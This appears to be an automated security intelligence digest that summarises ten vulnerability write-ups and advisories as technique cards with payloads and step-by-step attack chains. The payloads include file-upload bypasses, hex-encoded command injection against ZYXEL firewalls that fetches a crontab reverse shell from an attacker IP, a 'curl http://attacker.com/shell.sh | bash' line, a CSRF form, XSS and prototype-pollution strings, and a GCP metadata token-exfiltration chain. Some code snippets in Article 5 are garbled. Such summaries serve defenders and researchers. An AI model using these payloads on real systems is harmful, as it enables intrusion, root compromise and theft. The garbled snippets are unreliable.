ETX Signal-X

Daily Intelligence Digest

Friday, February 13, 2026

10	32
ARTICLES	TECHNIQUES

Article 1

Bypassing File Upload Defenses: My Journey from Simple Bypass to Near RCE

Source: securitycipher

Date: 27-Oct-2024

URL: https://medium.com/@dsmodi484/bypassing-file-upload-defenses-my-journey-from-simple-bypass-to-near-rce-ffbd23400efa

T1 Double Extension Bypass for File Upload

💉 Payload

```
file.php.jpg
```

⚔️ Attack Chain

1. Prepare a malicious PHP file, but name it with a double extension (e.g., file.php.jpg).
2. Upload the file to the target application's file upload endpoint.
3. The server checks only the last extension (jpg) and allows the upload.
4. Access the file via the upload directory; if the server executes based on the first extension, code execution is possible.

🔍 Discovery

Observed that the upload filter only validated the last extension, so tested with double extensions.

🔓 Bypass

Bypassing extension validation by abusing double extensions; server-side logic only checks the last extension.

🔗 Chain With

Can be chained with server misconfiguration (e.g., Apache with AddType directive) to achieve code execution.

T2 Content-Type Tampering to Bypass MIME Checks

💉 **Payload**

```
Content-Type: image/jpeg
```

⚔️ **Attack Chain**

1. Prepare a malicious file (e.g., PHP shell) and set its Content-Type header to image/jpeg during upload.
2. Upload the file to the target endpoint.
3. The server checks the Content-Type header and allows the upload.
4. Access the file; if the server executes based on file content or extension, code execution may occur.

🔍 **Discovery**

Noticed that the server validated Content-Type header, so attempted to tamper with it during upload.

🔓 **Bypass**

Bypassing MIME type checks by setting Content-Type to a whitelisted value.

🔗 **Chain With**

Can be combined with extension bypass or server misconfigurations for RCE.

T3 Magic Bytes Injection for File Type Validation Bypass

💉 **Payload**

```
FF D8 FF E0 (JPEG magic bytes) + <?php ... ?>
```

⚔️ **Attack Chain**

1. Prepare a file with valid JPEG magic bytes at the start, followed by PHP code.
2. Upload the file to the target endpoint.
3. The server checks the magic bytes and allows the upload.
4. Access the file; if the server executes PHP code, code execution is possible.

🔍 **Discovery**

Tested file validation logic by injecting magic bytes to see if it bypassed file type checks.

🔓 **Bypass**

Bypassing file type validation by placing valid magic bytes at the start of a malicious file.

🔗 **Chain With**

Can be chained with extension/MIME bypass for deeper exploitation.

T4 Null Byte Injection in Filename to Bypass Extension Checks

💉 **Payload**

```
file.php%00.jpg
```

⚔️ **Attack Chain**

1. Prepare a malicious PHP file named with a null byte before the allowed extension (e.g., file.php%00.jpg).
2. Upload the file to the target endpoint.
3. The server-side validation truncates the filename at the null byte, treating it as file.php.
4. Access the file; if the server executes based on the truncated name, code execution is possible.

🔍 **Discovery**

Tested null byte injection in filenames to check for truncation vulnerabilities.

🔓 **Bypass**

Bypassing extension checks by injecting a null byte, causing truncation on some platforms.

🔗 **Chain With**

Can be combined with magic bytes and MIME tampering for multi-layered bypass.

T5 Overwriting Existing Files via Predictable Upload Paths

💉 **Payload**

```
filename: index.php
```

⚔️ **Attack Chain**

1. Upload a file with the name of an existing critical file (e.g., index.php).
2. The server stores the uploaded file at a predictable path, overwriting the original.
3. Access the overwritten file to trigger code execution or disrupt service.

🔍 **Discovery**

Discovered predictable upload paths and lack of filename collision checks.

🔓 **Bypass**

Bypassing file overwrite protections by exploiting predictable paths and lack of collision handling.

🔗 **Chain With**

Can be chained with privilege escalation or lateral movement by overwriting service files.

T6 Exploiting Image Processing Libraries for Code Execution

💉 Payload

```
JPEG file with embedded PHP code
```

⚔️ Attack Chain

1. Prepare a JPEG file with embedded PHP code in metadata or image data.
2. Upload the file to the application.
3. The server processes the image using a vulnerable library (e.g., ImageMagick).
4. The library executes the embedded code, leading to RCE.

🔍 Discovery

Tested image processing by uploading files with embedded code and monitoring execution.

🔓 Bypass

Bypassing safe processing by abusing vulnerabilities in image libraries.

🔗 Chain With

Can be chained with file upload bypasses for full exploitation.

Article 2

CVE-2025-11730: Remote Code Execution via DDNS configuration in ZYXEL ATP/USG Series (V5.41) | Rainpwn Blog

Source: threatable

Date:

URL: https://rainpwn.blog/blog/cve-2025-11730/

T1 Command Injection via DDNS Profile `public-ip-url` Parameter Using $IFS

💉 **Payload**

```
http://a.b.c;cp$IFS/etc/passwd$IFS/etc/zyxel/ftp/conf/passwd.conf
```

⚔️ **Attack Chain**

1. Access ZYXEL ATP/USG device CLI.
2. Enter DDNS profile configuration mode.
3. Set the `public-ip-url` parameter to a crafted value using `$IFS` to encode spaces and inject shell commands.
4. Trigger DDNS update to execute the injected command as root.
5. Confirm file operation (e.g., copied `/etc/passwd`) via device file listing.

🔍 **Discovery**

Researcher tested classic injection payloads and observed parsing restrictions. Noted that `$IFS` (shell internal field separator) was allowed, enabling space encoding for command injection.

🔓 **Bypass**

Bypasses character restrictions (spaces, quotes, braces) by encoding spaces as `$IFS`, allowing shell command injection despite input filtering.

🔗 **Chain With**

Can be chained with file manipulation attacks (e.g., replacing config files) or privilege escalation via tampered system files.

T2 Command Injection via Hex Escaping and Shell Variable Expansion

💉 Payload

```
http://127.0.0.1/;CMD=$'\x63\x70\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x20\x2f\x65\x74\x63\x2f\x7a\x79\x78\x65\x6c\x2f\x66\x74\x70\x2f\x63\6f\x6e\x66\x2f\x70\x61\x73\x73\x77\x64\x2e\x63\x6f\x6e\x66'&&$CMD
```

⚔️ Attack Chain

1. Encode desired shell command in hex (e.g., `cp /etc/passwd /etc/zyxel/ftp/conf/passwd.conf`).
2. Set `public-ip-url` to inject a shell variable assignment using `$'...'` for hex expansion.
3. Reference the variable to execute the command.
4. Trigger DDNS update, resulting in root-level command execution.
5. Verify file manipulation on device.

🔍 Discovery

Researcher experimented with escaping mechanisms, using `xxd` and `sed` to hex-encode commands, then leveraged shell variable expansion to bypass input restrictions.

🔓 Bypass

Hex-encoding payload and using shell variable expansion bypasses input filtering, allowing arbitrary command execution.

🔗 Chain With

Enables stealthy file manipulation, privilege escalation, and can be combined with SSH/FTP access for persistent root shells.

T3 Remote Root Shell via Tampered passwd and SSH Login

💉 Payload

```
http://;CMD=$'\x63\x70\x20\x2f\x65\x74\x63\x2f\x7a\x79\x78\x65\x6c\x2f\x66\x74\x70\x2f\x63
\x6f\x6e\x66\x2f\x70\x61\x73\x73\x77\x64\x2e\x63\x6f\x6e\x66\x20\x2f\x65\x74\x63\x2f\x70\x6
1\x73\x73\x77\x64'&&$CMD
```

⚔️ Attack Chain

1. Upload a tampered `passwd` file via FTP, changing shell from `/bin/zysh` to `/bin/bash` for target user.
2. Use DDNS `public-ip-url` injection to copy the tampered passwd into `/etc/passwd`.
3. SSH into device as the modified user.
4. Obtain root shell due to shell change.

🔍 Discovery

Researcher combined file manipulation via DDNS injection with FTP upload of a custom passwd file, then leveraged SSH login for root shell.

🔓 Bypass

Combines hex-encoded command injection with external file upload to escalate privileges.

🔗 Chain With

Can be chained with persistent backdoor installation, lateral movement, or further privilege escalation.

T4 Remote Reverse Shell via Crontab Injection Using Hex-Encoded curl

💉 Payload

```
http://;CMD=$'\x63\x75\x72\x6c\x20\x68\x74\x74\x70\x3a\x2f\x2f\x31\x30\x2e\x31\x36\x38\x2e
\x32\x35\x34\x2e\x31\x34\x20\x2d\x6f\x20\x2f\x65\x74\x63\x2f\x63\x72\x6f\x6e\x74\x61\x62'&&
$CMD
```

⚔️ Attack Chain

1. Set up a web server hosting a crafted `index.html` containing crontab reverse shell entry.
2. Encode `curl http://<attacker_ip> -o /etc/crontab` in hex.
3. Inject hex-encoded curl command via DDNS `public-ip-url` parameter.
4. Trigger DDNS update, causing device to fetch and overwrite `/etc/crontab`.
5. Wait for cron execution and catch reverse shell with netcat.

🔍 Discovery

Researcher leveraged DDNS injection to overwrite crontab with attacker-controlled content, enabling scheduled reverse shell execution.

🔓 Bypass

Hex-encoded command bypasses input restrictions, and crontab overwrite enables persistent remote access.

🔗 Chain With

Can be chained with post-exploitation persistence, lateral movement, and device-wide compromise.

T5 Denial-of-Service via Buffer Truncation in DDNS Command Construction

💉 Payload

```
public-ip-url=<very long host string>
```

⚔️ Attack Chain

1. Set `public-ip-url` to a string long enough that, when combined with other parameters, exceeds 255 characters.
2. Device uses `snprintf` to build the command, truncating the string.
3. Truncation causes the output file path to be incomplete or missing.
4. `ddns_had` daemon crashes due to missing file, rendering DDNS service unusable.
5. Device requires physical reboot to restore service.

🔍 Discovery

Analysis of pseudo-C code revealed command buffer truncation vulnerability. Researcher tested with oversized input to trigger daemon crash.

🔓 Bypass

No bypass; exploit relies on buffer length limitation and lack of bounds checking.

🔗 Chain With

Can be chained with other attacks to force device reboot, disrupt monitoring, or mask ongoing exploitation.

Article 3

Locutus brings stdlibs of other programming languages to JavaScript for educational purposes. In versions from 2.0.12 to before 2.0.39, a prototype pollution vulnerability exists in locutus. Despite a previous fix that attempted to mitigate prototype poll

Source: threatable

Date:

URL: https://github.com/locutusjs/locutus/commit/042af9ca7fde2ff599120783e720a17f335bb01c

T1 Prototype Pollution via parse_str with Tampered String.prototype.includes

💉 **Payload**

```
__proto__[polluted]=yes
```

⚔️ **Attack Chain**

1. Override `String.prototype.includes` to always return `false` (e.g., `String.prototype.includes = () => false`).
2. Call `parse_str('__proto__[polluted]=yes', arr)` where `arr` is an object.
3. Prior to patch, parse_str checks for dangerous keys using `key.includes(...)`, which can be bypassed if `includes` is tampered.
4. If bypass successful, `Object.prototype.polluted` is set to `yes`, polluting all objects.

🔍 **Discovery**

Observed that the guard in `parse_str` relied on `String.prototype.includes`, which is mutable and can be overridden, allowing bypass of prototype pollution protection.

🔓 **Bypass**

By overriding `String.prototype.includes`, attacker can defeat the key check and inject `__proto__` properties.

🔗 **Chain With**

Can be chained with any downstream logic that trusts object properties, enabling privilege escalation, denial of service, or arbitrary code execution in affected environments.

T2 Prototype Pollution via parse_str with Tampered String.prototype.includes (constructor.prototype variant)

💉 **Payload**

```
constructor[prototype][polluted]=yes
```

⚔️ **Attack Chain**

1. Override `String.prototype.includes` to always return `false` (e.g., `String.prototype.includes = () => false`).
2. Call `parse_str('constructor[prototype][polluted]=yes', arr)` where `arr` is an object.
3. Prior to patch, parse_str checks for dangerous keys using `key.includes(...)`, which can be bypassed if `includes` is tampered.
4. If bypass successful, `Object.prototype.polluted` is set to `yes` via constructor.prototype, polluting all objects.

🔍 **Discovery**

Identified that `constructor.prototype` keys can also be used for pollution, and the guard is bypassable by tampering with `String.prototype.includes`.

🔓 **Bypass**

Overriding `String.prototype.includes` allows injection of `constructor.prototype` properties, bypassing the intended protection.

🔗 **Chain With**

Enables pollution of object prototypes, which can be leveraged for privilege escalation, logic manipulation, or denial of service in applications using polluted objects.

T3 Prototype Pollution via parse_str (Pre-patch, Native includes)

💉 **Payload**

```
__proto__[polluted]=yes
```

⚔️ **Attack Chain**

1. Call `parse_str('__proto__[polluted]=yes', arr)` where `arr` is an object.
2. If the guard is not present or insufficient, `Object.prototype.polluted` is set to `yes`.

🔍 **Discovery**

Standard prototype pollution test with native `String.prototype.includes` intact, confirming risk in versions before the patch.

🔓 **Bypass**

No bypass required if guard is missing or incomplete.

🔗 **Chain With**

Classic prototype pollution chain: escalate privileges, manipulate object logic, or trigger denial of service.

T4

Prototype Pollution via parse_str (Pre-patch, Native includes, constructor.prototype variant)

💉 Payload

```
constructor[prototype][polluted]=yes
```

⚔️ Attack Chain

1. Call `parse_str('constructor[prototype][polluted]=yes', arr)` where `arr` is an object.
2. If the guard is not present or insufficient, `Object.prototype.polluted` is set to `yes` via constructor.prototype.

🔍 Discovery

Standard prototype pollution test using `constructor.prototype` key with native `String.prototype.includes` intact, confirming risk in versions before the patch.

🔓 Bypass

No bypass required if guard is missing or incomplete.

🔗 Chain With

Enables classic prototype pollution chains for privilege escalation, logic manipulation, or denial of service.

Article 4

Mastering Business Logic Price Manipulation in Bug Bounty Programs

Source: securitycipher

Date: 15-Apr-2025

URL: https://frostyxsec.medium.com/mastering-business-logic-price-manipulation-in-bug-bounty-programs-4d3ac14d9837

T1 URL Parameter Price Manipulation in E-Commerce Checkout

💉 **Payload**

```
https://[REDACTED].com/checkout?Amount=0&BackendURL=[REDACTED]&Currency=IDR&MerchantCode=[REDACTED]&PaymentId=[REDACTED]&ProdDesc=[REDACTED]&RefNo=[REDACTED]&ResponseURL=[REDACTED]&Signature=[REDACTED]&Url=[REDACTED]&UserContact=[REDACTED]&UserEmail=[REDACTED]&UserName=[REDACTED]&date=[REDACTED]&paymentMethod=[REDACTED]&price=Rp0&quantity=1&total=Rp0&transactionFee=Rp0 date
```

⚔️ **Attack Chain**

1. Identify checkout endpoint where price and total are passed as URL parameters (e.g., `price`, `Amount`, `total`).
2. Modify the price-related parameters in the URL (e.g., set `price=Rp0`, `Amount=0`, `total=Rp0`).
3. Submit the manipulated request to the checkout endpoint.
4. Observe whether the backend processes the order with the manipulated price, bypassing payment.

🔍 **Discovery**

Manual review of checkout URLs and parameters during purchase flow. Noted that price, amount, and total were client-controlled and not validated server-side.

🔓 **Bypass**

Relies on lack of server-side validation for price and total parameters. If backend trusts client-supplied values, payment is bypassed.

🔗 **Chain With**

Can be chained with account creation automation, coupon abuse, or quantity manipulation for bulk exploitation. If combined with weak authentication, can escalate to mass fraud.

Article 5

The Recent 0-Days in Node.js and React Were Found by an AI | winfunc

Source: threatable

Date:

URL: https://winfunc.com/blog/recent-0-days-in-nodejs-and-react-were-found-by-an-ai

T1 Node.js Permission Model Bypass via Unix Domain Sockets (CVE-2026-21636)

💉 **Payload**

```
// With --permission flag (no --allow-net)// This should be blocked, but wasn't: const requ
ire 'net' const connect path'/var/run/docker.sock' on 'connect'() =>// You now have access
to the Docker daemon// This breaks the entire sandbox
```

⚔️ **Attack Chain**

1. Start Node.js with the `--permission` flag but without `--allow-net`.
2. Use the `net` module to connect to a Unix Domain Socket (e.g., `/var/run/docker.sock`) via `net.connect({ path: '/var/run/docker.sock' })`.
3. Upon successful connection, interact with privileged local services (e.g., Docker daemon, databases) through the socket.
4. Achieve privilege escalation or extract sensitive data by issuing commands or reading responses from the socket.

🔍 **Discovery**

Analyzed the internal permission model implementation (`lib/internal/process/permission.js`) and identified that network restrictions only applied to TCP/IP connections, not Unix Domain Sockets. Threat modeling agent hypothesized bypass via local sockets, confirmed by tracing `net.connect()` code paths.

🔓 **Bypass**

Network restrictions enforced by the permission model were limited to TCP/IP. Unix Domain Socket paths bypassed these checks, allowing unrestricted access to local privileged services despite sandboxing.

🔗 **Chain With**

Combine with container escape techniques by interacting with Docker daemon. Access local database sockets for lateral movement or data exfiltration. Chain with filesystem or child process permissions for further escalation.

T2

React Server Components Denial of Service via $K FormData Amplification (CVE-2026-23864)

💉 Payload

```
const require'react-server-dom-webpack/server.node' const 200// number of x_* fields const
5000// number of $K expansions const new FormData for let 0 append`x_${i}`${i} 'A' const Ar
ray from length() => '"$Kx"' join',' append '0'`[${inner}]`${inner} async const await decod
eReply console log 'root len' length
```

⚔️ Attack Chain

1. Craft a multipart HTTP request containing a FormData payload with a large number of fields and `$K` reference tokens.
2. Send the payload to a Server Function endpoint in a React Server Components-enabled application (e.g., Next.js 13+, react-router, waku, @parcel/rsc, @vitejs/plugin-rsc, rwsdk).
3. The RSC reply decoder processes the payload, triggering infinite loops, unbounded memory allocation, or unhandled exceptions.
4. Server experiences denial of service: 100% CPU usage, OOM, or process crash.

🔍 Discovery

Indexed the code graph of `react-server-dom-*` packages, mapped data flow from HTTP request through parsing pipeline. Targeted reply decoder accepting untrusted input. Used guided fuzzing to generate payloads exploiting reference resolution edge cases, verified by measuring resource consumption and process stability.

🔓 Bypass

No authentication required; any client can trigger the vulnerability by sending crafted payloads. Amplification via `$K` tokens exploits decoder's reference handling logic.

🔗 Chain With

Combine with SSRF or other input-based attacks to further impact server-side logic. Use as a precursor to resource exhaustion for lateral attacks on shared infrastructure. Potential for chaining with source code exposure bugs in RSC parsing logic.

Article 6

A vulnerability was identified in lcg0124 BootDo up to e93dd428ef6f5c881aa74d49a2099ab0cf1e0fcb. This affects an unknown part. The manipulation leads to cross-site request forgery. The attack is possible to be carried out remotely. The exploit is publicly

Source: threatable

Date:

URL: https://github.com/webzzaa/CVE-/issues/6

T1 CSRF on /sys/user/save Endpoint (BootDo System)

💉 **Payload**

```
<form action="http://[BootDo_host]/sys/user/save" method="POST">
  <input name="userId" value="1">
  <input name="username" value="attacker">
  <input name="password" value="malicious">
  <input type="submit" value="Submit">
</form>
```

⚔️ **Attack Chain**

1. Attacker crafts a malicious HTML form targeting the BootDo endpoint `/sys/user/save`.
2. Victim visits attacker's page; form auto-submits or victim clicks submit.
3. POST request sent to BootDo instance, modifying user data without authentication or authorization.

🔍 **Discovery**

Researcher noticed the `/sys/user/save` endpoint could be accessed without authentication and accepted POST requests. Manual testing confirmed no CSRF protection and no login required.

🔓 **Bypass**

No login or authorization required; endpoint lacks CSRF tokens or any anti-CSRF mechanism.

🔗 **Chain With**

Can be chained with privilege escalation if attacker can set roles or permissions via this endpoint. Potential for account takeover or lateral movement if combined with other exposed endpoints.

Article 7

Terraform / OpenTofu Provider adds support for Proxmox Virtual Environment. Prior to version 0.93.1, in the SSH configuration documentation, the sudoer line suggested is insecure and can result in escaping the folder using ../, allowing any files on the s

Source: threatable

Date:

URL: https://github.com/bpg/terraform-provider-proxmox/commit/bd604c41a31e2a55dd6acc01b0608be3ea49c023

T1 Path Traversal via Insecure Sudoers Wildcard for `tee`

💉 **Payload**

```
terraform ALL=(root) NOPASSWD: /usr/bin/tee /var/lib/vz/*
```

⚔️ **Attack Chain**

1. Attacker obtains access to the `terraform` user (e.g., via SSH).
2. Attacker leverages passwordless sudo for `/usr/bin/tee` with unrestricted wildcard path `/var/lib/vz/*`.
3. Attacker executes `sudo tee /var/lib/vz/../../../etc/sudoers.d/malicious` to write arbitrary content to sensitive files outside the intended directory (e.g., escalate privileges).
4. Attacker can create or overwrite files anywhere on the filesystem, including `/etc/sudoers.d/`, leading to root privilege escalation.

🔍 **Discovery**

The insecure sudoers line was found in the SSH configuration documentation, where the use of a wildcard (`*`) in the path allowed for path traversal. The researcher identified that this pattern enabled escaping the intended folder.

🔓 **Bypass**

Path traversal using `../` sequences in the file argument to `tee` bypasses directory restrictions implied by the wildcard.

🔗 **Chain With**

Can be chained with SSH access or other means to obtain the `terraform` user. Allows arbitrary file write as root, enabling persistent backdoors, privilege escalation, or configuration manipulation.

T2 Path Traversal via Insecure Sudoers Wildcard for Alternate Datastore

💉 Payload

```
terraform ALL=(root) NOPASSWD: /usr/bin/tee /mnt/pve/cephfs/*
```

⚔️ Attack Chain

1. Attacker obtains access to the `terraform` user.
2. Attacker leverages passwordless sudo for `/usr/bin/tee` with unrestricted wildcard path `/mnt/pve/cephfs/*`.
3. Attacker executes `sudo tee /mnt/pve/cephfs/../../../etc/sudoers.d/malicious` to write arbitrary content outside the intended directory.
4. Attacker can escalate privileges or manipulate system configuration by writing to sensitive files.

🔍 Discovery

The insecure sudoers line for alternate datastores was found in the documentation, using a wildcard that allows path traversal. The researcher noted the same vulnerability as with the default datastore.

🔓 Bypass

Path traversal using `../` in the file argument to `tee` bypasses the intended directory restriction.

🔗 Chain With

Same as above: can be chained with SSH access or other means to obtain the `terraform` user. Enables arbitrary file write as root.

T3 **Restrictive Sudoers Pattern Mitigates Path Traversal**

💉 **Payload**

```
terraform ALL=(root) NOPASSWD: /usr/bin/tee /var/lib/vz/snippets/[a-zA-Z0-9_][a-zA-Z0-9_.-]
*
terraform ALL=(root) NOPASSWD: /usr/bin/tee /mnt/pve/cephfs/snippets/[a-zA-Z0-9_][a-zA-Z0-9
_.-]*
```

⚔️ **Attack Chain**

1. Attacker attempts to exploit sudoers for `tee` but is restricted to specific subdirectories and strict filename patterns.
2. Path traversal is blocked; attacker cannot escape the intended directory or write to arbitrary files.

🔍 **Discovery**

The restrictive pattern was introduced as a fix, observed in the documentation diff. The researcher confirmed that limiting the path and filename prevents path traversal.

🔓 **Bypass**

Filename regex and directory restriction prevent `../` and arbitrary file paths.

🔗 **Chain With**

If regex is too permissive or not enforced, attacker may still attempt bypass. Otherwise, chaining is blocked by strict patterns.

Article 8

HtmlSanitizer is a .NET library for cleaning HTML fragments and documents from constructs that can lead to XSS attacks. Prior to versions 9.0.892 and 9.1.893-beta, if the template tag is allowed, its contents are not sanitized. The template tag is a speci

Source: threatable

Date:

URL: https://github.com/mganss/HtmlSanitizer/commit/0ac53dca30ddad963f2b243669a5066933d82b81

T1 Template Tag Content Sanitization Bypass in HtmlSanitizer

💉 **Payload**

```
<div><template><style>div { display: none }</style><script>alert('xss')</script></template>
</div>
```

⚔️ **Attack Chain**

1. Instantiate HtmlSanitizer and add "template" and "style" to AllowedTags.
2. Submit HTML input containing a <template> tag with embedded <style> and <script> tags.
3. Prior to versions 9.0.892 and 9.1.893-beta, the sanitizer fails to sanitize the contents of <template>.
4. Malicious <script> tag inside <template> is not removed, allowing potential XSS if the template content is later rendered/executed.

🔍 **Discovery**

Review of sanitizer source code and test cases revealed that the contents of <template> tags were not recursively sanitized, leaving script and other dangerous tags untouched.

🔓 **Bypass**

By placing <script> or other executable tags inside <template>, attackers bypass the sanitizer's tag removal logic, as it only sanitized direct children and not template contents.

🔗 **Chain With**

Combine with client-side JavaScript that dynamically inserts or executes template content, escalating to XSS. Use <style> for CSS injection alongside <script> for multi-vector attacks.

Article 9

GatewayToHeaven: Finding a Cross-Tenant Vulnerability in GCP&#039;s Apigee | Omer Amiad&#039;s Blog

Source: threatable

Date:

URL: https://omeramiad.com/posts/gatewaytoheaven-gcp-cross-tenant-vulnerability/

T1 Exposing GCP Metadata Endpoint via Apigee Backend Configuration

💉 **Payload**

```
Backend URL: http://169.254.169.254
AssignMessage policy to remove X-Forwarded-For header
```

⚔️ **Attack Chain**

1. Configure Apigee proxy backend to point to `http://169.254.169.254` (GCP metadata endpoint).
2. Use Apigee `AssignMessage` policy to remove the `X-Forwarded-For` header from requests.
3. Send a request through Apigee to the metadata endpoint, retrieving service account tokens from the Message Processor pod.

🔍 **Discovery**

Researcher noticed Apigee's Message Processor runs in GKE and has access to the metadata endpoint. Documentation review revealed Apigee's default header behavior and the possibility to manipulate headers with `AssignMessage` policy.

🔓 **Bypass**

Apigee adds `X-Forwarded-For` header by default, which blocks SSRF to metadata endpoint. Removing the header via `AssignMessage` policy bypasses this defense.

🔗 **Chain With**

Token retrieval enables privilege escalation and access to tenant project resources.

T2 Privilege Escalation via Service Account Token Enumeration and Disk Dumping

💉 Payload

```
gcloud compute disks list
Dump disk contents, search for boot-json.log and pipeline_options.json
```

⚔️ Attack Chain

1. Use the Apigee service account token to enumerate permissions with tools like `gcpwn`.
2. List disks in the tenant project using `gcloud compute disks list`.
3. Dump disk contents, focusing on analytics pipeline disk.
4. Extract files like `boot-json.log` and `pipeline_options.json` to identify Dataflow pipeline configuration and service accounts.

🔍 Discovery

After obtaining the Apigee service account token, researcher used permission enumeration tools and disk listing to map tenant project architecture and identify cross-tenant resource access points.

🔓 Bypass

Direct access to tenant project resources is blocked, but service account token enables enumeration and disk access.

🔗 Chain With

Identifies Dataflow pipeline and service account, setting up for further escalation and cross-tenant access.

T3 Remote Code Execution via Malicious JAR Injection in Dataflow Pipeline

💉 Payload

```
Patch Dataflow JARs using Recaf to access metadata endpoint and exfiltrate token
Overwrite JARs in analytics bucket with Apigee service account
```

⚔️ Attack Chain

1. Download Dataflow JARs from analytics bucket.
2. Patch JARs with Recaf to include code that accesses metadata endpoint and exfiltrates Dataflow service account token.
3. Use Apigee service account to overwrite JARs in the bucket.
4. Trigger Dataflow autoscaling by flooding PubSub topic `apigee-analytics-notifications` with fake events, causing new instance provisioning.
5. Malicious JAR executes on new Dataflow instance, retrieves token, and uploads it to attacker-controlled storage bucket.

🔍 Discovery

Disk dump analysis revealed Dataflow pipeline configuration and JAR loading mechanism. Decompiled JARs showed cross-tenant bucket usage. Researcher realized JARs could be patched and replaced.

🔓 Bypass

Dataflow instances lack internet access, so exfiltration is redirected to a GCP storage bucket accessible via internal APIs.

🔗 Chain With

Obtaining Dataflow service account token enables access to cross-tenant metadata and analytics buckets.

T4 Cross-Tenant Access to Analytics and Access Logs via Dataflow Service Account

💉 Payload

```
Access cross-tenant metadata bucket:
- tenantToTenantGroup
- customFields
- datastores
- queryresults
Extract access tokens and analytics events from logs
```

⚔️ Attack Chain

1. Use Dataflow service account token to access cross-tenant metadata bucket.
2. Enumerate cache directories (e.g., `tenantToTenantGroup`, `customFields`, `datastores`, `queryresults`).
3. Extract analytics logs and access tokens belonging to multiple Apigee tenants.
4. Use plaintext access tokens to impersonate end users across organizations.

🔍 Discovery

After obtaining Dataflow service account token, researcher accessed metadata bucket and discovered cross-tenant logs and analytics data, including sensitive access tokens.

🔓 Bypass

Bucket naming and directory structure lack tenant-specific isolation, allowing cross-tenant access.

🔗 Chain With

Read/write permissions allow for log manipulation, data exfiltration, and potential impact on production systems across tenants.

T5 Triggering Dataflow Autoscaling via PubSub Flood to Activate Malicious Payloads

💉 Payload

```
Flood PubSub topic: apigee-analytics-notifications
```

⚔️ Attack Chain

1. Identify PubSub topic used by Dataflow pipeline (`apigee-analytics-notifications`).
2. Use Apigee service account credentials to flood the topic with fake analytics events.
3. Overload existing Dataflow instances, triggering autoscaling and provisioning of new instances.
4. New instances fetch malicious JARs, executing attacker code.

🔍 Discovery

Analysis of `pipeline_options.json` and decompiled Dataflow code revealed PubSub topic and autoscaling mechanism.

🔓 Bypass

Abuse of autoscaling logic via event flooding forces execution of attacker-controlled code.

🔗 Chain With

Automated provisioning of new instances enables repeated exploitation and persistent access.

Article 10

Overprivileged API and Remote Code Execution (RCE)

Source: securitycipher

Date: 02-Apr-2025

URL: https://medium.com/@rkvb/overprivileged-api-and-remote-code-execution-rce-0fa5e52b022d

T1 Overprivileged API Key Abuse for Remote Code Execution

💉 **Payload**

```
curl -H "Authorization: Bearer <overprivileged_api_key>" -X POST https://api.target.com/v1/
execute -d '{"cmd":"whoami"}'
```

⚔️ **Attack Chain**

1. Obtain an API key with excessive privileges (e.g., via user registration, leaked credentials, or weak access controls).
2. Identify the API endpoint (e.g., `/v1/execute`) that accepts command execution requests.
3. Craft a POST request with the overprivileged API key and a command payload (e.g., `{ "cmd": "whoami" }`).
4. Send the request to the endpoint and observe command execution on the backend.

🔍 **Discovery**

Manual review of API documentation and endpoint responses revealed that certain API keys granted access to sensitive endpoints. Testing with various keys exposed the ability to execute arbitrary commands.

🔓 **Bypass**

Privilege escalation was possible due to lack of granular access control. Lower-tier keys could access high-risk endpoints intended for admins.

🔗 **Chain With**

Combine with credential stuffing, API enumeration, or SSRF to obtain or escalate API keys. Use RCE foothold for lateral movement or data exfiltration.

T2 Command Injection via JSON Payload Manipulation

💉 **Payload**

```
{
  "cmd": "ping 127.0.0.1; cat /etc/passwd"
}
```

⚔️ **Attack Chain**

1. Identify API endpoint accepting JSON input for command execution (e.g., `/v1/execute`).
2. Submit a payload with shell metacharacters to inject additional commands (e.g., `ping 127.0.0.1; cat /etc/passwd`).
3. Receive response containing output from both commands, confirming injection.

🔍 **Discovery**

Fuzzing the `cmd` parameter with shell metacharacters (`;`, `&&`, `|`) revealed command injection vulnerabilities.

🔓 **Bypass**

No input sanitization or validation on the `cmd` parameter allowed direct injection of arbitrary shell commands.

🔗 **Chain With**

Chain with file write primitives, privilege escalation exploits, or use for persistence by dropping web shells.

T3 API Endpoint Enumeration for Privilege Escalation

💉 **Payload**

```
curl -H "Authorization: Bearer <api_key>" https://api.target.com/v1/admin/list-users
```

⚔️ **Attack Chain**

1. Enumerate API endpoints by guessing or reviewing documentation (e.g., `/v1/admin/list-users`).
2. Test access with non-admin API keys to privileged endpoints.
3. If accessible, extract sensitive data or escalate privileges.

🔍 **Discovery**

Systematic endpoint enumeration and access testing with different API keys exposed endpoints lacking proper privilege checks.

🔓 **Bypass**

Absence of role-based access control allowed non-admin keys to access admin-only endpoints.

🔗 **Chain With**

Use data from privileged endpoints (e.g., user lists, credentials) to further escalate, pivot, or automate attacks.

T4 Lateral Movement via RCE on Backend Infrastructure

💉 Payload

```
curl -H "Authorization: Bearer <api_key>" -X POST https://api.target.com/v1/execute -d '{"cmd":"curl http://attacker.com/shell.sh | bash"}'
```

⚔️ Attack Chain

1. Exploit RCE via overprivileged API key or command injection.
2. Use RCE to download and execute a remote shell from attacker-controlled server.
3. Establish persistence or pivot to other internal systems.

🔍 Discovery

After confirming RCE, tested outbound connectivity and remote shell payloads to verify lateral movement capabilities.

🔓 Bypass

Outbound network access from backend allowed direct download and execution of attacker payloads.

🔗 Chain With

Combine with SSRF, internal network scanning, or privilege escalation to compromise additional assets.